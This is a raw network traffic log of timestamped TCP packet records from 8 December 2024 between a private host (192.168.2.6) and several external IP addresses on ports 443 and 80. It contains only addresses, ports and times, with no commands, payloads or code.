Dec 8, 2024 17:45:42.312947035 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.329369068 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.329395056 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.329473019 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.329488039 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.329580069 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.329580069 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.333452940 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.333479881 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.333595991 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.333595991 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.333609104 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.333682060 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.405363083 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.405407906 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.405483007 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.405492067 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.405550003 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.416835070 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.416872978 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.416906118 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.416915894 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.416970968 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.420351028 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.420413017 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.420417070 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.420425892 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.420475960 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.429054022 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.429091930 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.429135084 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.429147005 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.429219961 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.429219961 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.432495117 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.432523012 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.432566881 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.432574987 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.432624102 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.433350086 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.433367014 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.433419943 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.433425903 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.433628082 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.436486959 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.436546087 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.436603069 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.437143087 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.437155962 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.437165022 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.437170029 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.440133095 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.440186024 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.440279007 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.440496922 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:42.440515995 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:42.447135925 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447144985 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447153091 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447187901 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447223902 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447236061 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447273970 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447282076 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447288990 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447299957 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447335958 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447423935 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447453022 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447484970 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447490931 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.447514057 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.447536945 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.449534893 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.449553013 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.449601889 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.449609041 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.449650049 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.449759007 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.458451986 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.458467960 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.458530903 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.458539009 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.458574057 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.460278988 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.460309029 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.460350037 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.460355043 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.460391998 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.463234901 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.463259935 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.463330984 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.463340998 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.463396072 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.465864897 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.465887070 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.465976000 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.465985060 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.466022968 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.468933105 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.468955040 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.469007015 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.469013929 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.469049931 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.475146055 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.475167990 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.475224972 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.475230932 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.475307941 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.477950096 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.477969885 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.478019953 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.478029966 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.478081942 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.479624987 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.479649067 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.479695082 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.479701996 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.479736090 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.479774952 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.489108086 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.489131927 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.489222050 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.489228010 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.489272118 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.490818977 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.490834951 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.490933895 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.490941048 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.491076946 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.496293068 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.496319056 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.496383905 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.496391058 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.496449947 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.496974945 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.496994019 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.497061968 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.497070074 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.497273922 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.503926039 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.503952980 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.504004002 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.504010916 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.504045010 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.504059076 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.505538940 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.505554914 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.505631924 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.505639076 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.505736113 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.509841919 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.509859085 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.509939909 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.509948015 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.510001898 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.510040045 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.519284010 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.519303083 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.519382000 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.519388914 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.519546986 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.525592089 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.525610924 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.525708914 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.525717020 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.525759935 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.529395103 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.529434919 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.529508114 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.531070948 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.531084061 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.533932924 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.533948898 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.534009933 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.534015894 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.534174919 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.563828945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.563870907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.563884974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.563937902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.564018011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.564029932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564045906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564059019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564071894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564107895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.564107895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.564167976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564181089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.564214945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.564249992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.582618952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.582803965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.597759962 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.597791910 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.597839117 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.597851038 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.597917080 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.600405931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:42.600476980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:42.607006073 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607023954 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607079029 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.607093096 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607120037 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.607141972 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.607381105 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607414961 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607451916 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.607459068 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.607490063 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.607503891 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.614577055 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.614598989 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.614697933 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.614712954 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.614778042 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.615061045 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.615081072 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.615129948 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.615137100 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.615163088 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.615186930 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.619666100 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.619683981 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.619745016 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.619752884 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.619862080 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.624330044 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.624346018 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.624422073 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.624429941 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.624461889 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.628861904 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.628879070 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.628946066 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.628954887 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.629020929 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.631839037 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.631855965 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.631936073 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.631949902 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.632095098 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.632978916 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.632999897 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.633076906 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.633085012 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.633150101 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.637074947 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.637100935 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.637197018 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.637197971 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.637206078 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.637274027 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.641190052 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.641205072 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.641294956 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.641303062 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.641406059 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.642074108 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642096996 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642173052 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.642180920 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642440081 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.642440081 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642455101 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642507076 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.642513990 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.642755985 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651062012 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651091099 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651148081 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651154041 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651202917 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651202917 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651392937 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651453018 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651463985 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651475906 CET	443	49812	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.651504040 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.651520967 CET	49812	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.653575897 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.653592110 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.653637886 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.653645039 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.653687954 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.653736115 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.653750896 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.653806925 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.653820992 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.654032946 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.662055016 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.662075043 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.662168026 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.662173986 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.662225008 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.663562059 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663583994 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663641930 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.663650036 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663690090 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.663784027 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663799047 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663860083 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.663866997 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.663925886 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.671118975 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.671137094 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.671247005 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.671255112 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.671329021 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.673058033 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.673098087 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.673183918 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.673192024 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.673207045 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.673319101 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.674108028 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.674127102 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.674182892 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.674190044 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.674225092 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.681422949 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.681442022 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.681498051 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.681504011 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.681550980 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.681551933 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.682981014 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.683017969 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.683053017 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.683059931 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.683130026 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.684623003 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.684645891 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.684704065 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.684711933 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:42.684794903 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:42.689287901 CET	80	49805	185.215.113.206	192.168.2.6
